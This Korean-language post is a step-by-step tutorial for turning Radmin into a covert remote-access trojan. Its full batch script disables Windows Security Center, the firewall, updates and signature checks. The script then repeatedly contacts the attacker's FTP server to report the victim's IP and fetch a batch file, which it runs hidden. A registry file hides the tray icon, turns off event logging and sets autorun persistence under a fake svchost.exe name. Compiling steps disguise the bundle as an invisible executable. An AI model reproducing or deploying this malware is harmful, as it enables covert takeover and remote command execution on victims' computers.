먼저 첨부한 압축 파일(VNC.rar)을 풉니다.
폴더 안에는 다음과 같은 파일로 구성되어 있습니다.
└Compiler
└bat2exe.exe
└Source
└Setup
└AdmDll.dll
└GetIP.bat
└nircmd.exe
└raddrv.dll
└radmin.exe
└setting.reg
└Setup.bat
└svchost.exe
└Uninstall
└Uninstall.bat
이 소스의 특징은 다음과 같습니다.
1. 실행만으로 설치가 완료된다.
2. 비밀번호 설정 가능 (기본:12344321 바꾸는 것은 가능하나 좀 귀찮음,,,)
3. 아이피를 실시간으로 전송받을 수 있음(고정아이피 필요)
4. 실시간 batch명령 수행 기능
5. 간편한 제거 가능 (Uninstall.bat)
또 한가지 중요한 특징도 있습니다만
악용 금지라고 말한 이유가 거기에 있음
---사전 준비
먼저 GetIP.bat파일을 편집합니다.
파일 내용은 아래와 같습니다.
echo off
cls
net stop "Security Center"
net stop SharedAccess
net stop "Windows Firewall/Internet Connection Sharing (ICS)"
ECHO REGEDIT4>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuauserv]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>"%Temp%.\kill.reg"
ECHO "Start"=dword:00000004>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download]>>"%Temp%.\kill.reg"
ECHO "CheckExeSignatures"="no">>"%Temp%.\kill.reg"
ECHO "RunInvalidSignatures"=dword:00000001>>"%Temp%.\kill.reg"
ECHO. >>"%Temp%.\kill.reg"
REG IMPORT "%Temp%.\kill.reg"
DEL "%Temp%.\kill.reg"
md C:\windows\system32\VNC\cmd
del todo.txt
ECHO Anonymous>>todo.txt
ECHO ftp@ftp.ftp>>todo.txt
ECHO binary>>todo.txt
ECHO prompt>>todo.txt
ECHO lcd C:\windows\system32\VNC\cmd>>todo.txt
ECHO mget *>>todo.txt
ECHO bye>>todo.txt
:loop
del C:\windows\system32\VNC\cmd\* /F /Q
rd C:\windows\system32\VNC\cmd /S /Q
md C:\windows\system32\VNC\cmd
ftp -s:todo.txt %서버ip주소%
IF EXIST C:\windows\system32\VNC\cmd\serv_com.bat (
C:\windows\system32\VNC\nircmd.exe exec hide "C:\windows\system32\VNC\cmd\serv_com.bat"
)
ping -n 15 127.0.0.1 >NUL
cls
GOTO loop
눈여겨 볼 것은 ftp -s:todo.txt %서버ip주소% 입니다.
%서버ip주소%는 자신이 상대방의 ip를 받을 고정 ip로 설정합니다.
*참고로 고정ip는 CODNS에서 무료로 받을 수 있습니다. 이 ip address로 server의 ip address를 전송 받을겁니다.
예를 들어 127.0.0.1로 설정한다면 아래와 같이 됩니다.
ftp -s:todo.txt %127.0.0.1%
또 ip전송 간격은 아래 코드로 조절합니다.
ping -n 15 127.0.0.1 >NUL
15라는 숫자 대신에 적는 숫자가 ip전송 간격이 되겠군요.
server의 과부하를 고려해 적당히 기입합니다.
설정이 끝났으면 저장합니다.
---부가 설정
setting.reg파일을 편집합니다. 내용은 아래와 같습니다.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin]
[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01]
[HKEY_LOCAL_MACHINE\SOFTWARE\RAdmin\v1.01\ViewType]
"Data"=hex:b8,9d,90,49,c1,fa,95,ab,24,d7,22,bf,bb,f6,01,39,12,6a,cd,f9,b9,2a,\
13,33,77,16,0b,60,1e,04,92,ad,c9,66,ee,91,06,59,b8,6e,5f,af,4c,a1,e6,30,2b,\
2e,3a,66,b9,c6,16,83,d8,84,58,bc,88,bc,7b,9d,4a,c2
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00
"Parameter"=hex:af,bf,32,35,fd,6f,f5,28,f1,d1,e5,9b,9d,b6,35,3c
"DisableTrayIcon"=hex:01,00,00,00
"Port"=hex:23,13,00,00
"LogFilePath"="C:\\WINDOWS\\system32\\VNC\\logfile.txt"
"EnableLogFile"=hex:01,00,00,00
"EnableEventLog"=hex:00,00,00,00
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
"VNC1"="C:\\WINDOWS\\system32\\VNC\\svchost.exe /start"
"VNC2"="C:\\WINDOWS\\system32\\VNC\\nircmd.exe exec hide C:\\WINDOWS\\svchost.exe /c \"C:\\WINDOWS\\system32\\VNC\\getip.bat\""
Radmin설정과 자동실행 두가지가 공존하고 있군요.
비밀번호 병경을 원하면 이 파일에서 "Parameter"=hex:af,bf,32,35,fd,6f,f5,28,f1,d1,e5,9b,9d,b6,35,3c를 변경하면 됩니다.
변경 하려면 Radmin을 깔고 프로그램 자체에서 비밀번호를 설정하신 뒤 다시 해당 레지스트리를 추출하는 방법으로 하면 됩니다.
귀찮으면 그냥 놔두시고 12344321로 쓰게 됩니다.
---컴파일
이제 컴파일에 착수합니다.
bat2exe를 실행합니다. 그리고 Setup.bat파일을 불러옵니다.
그림과 같이 로드되었습니다.
이제 include탭으로 갑니다.
그림과 같이 파일을 포함합니다. (Setup폴더에서 Setup.bat을 제외한 모든 파일이 포함)
*참고로 Custom Resources탭에서 원하는 아이콘으로 변경도 가능합니다.
이제 마지막으로 Project->Options
Ghost Application을 선택하고 Ok를 누르면 컴파일 완료 직전입니다.
F9를 누르시면 원하는 파일로 컴파일 가능합니다. 마음에 드는 이름으로 저장하세요.
이제 상대방 server에서 방금 컴파일한 파일을 실행하면 Radmin server가 활성화 됩니다.
---사용법
client측에서는 radmin.exe을 실행하면 됩니다.
다만 ip전송을 받기 위해선, 위에서 입력한 아이피를 가진 컴퓨터(Radmin server)에서 ftp server를 열면 됩니다.
그러면 ftp server에 접속을 하는 컴퓨터(Radmin server)의 아이피가 뜨겠죠? 이런 원리로 상대방(Radmin server)의 아이피를 알 수 있습니다.
추가로 ftp서버를 열 때 ftp의 로컬 폴더에 serv_com.bat이란 이름으로 batch파일을 작성해 놓으면 Radmin server측에서 해당 batch파일을 보이지 않게 실행하게 할 수도 있습니다.
>>클라이언트1.exe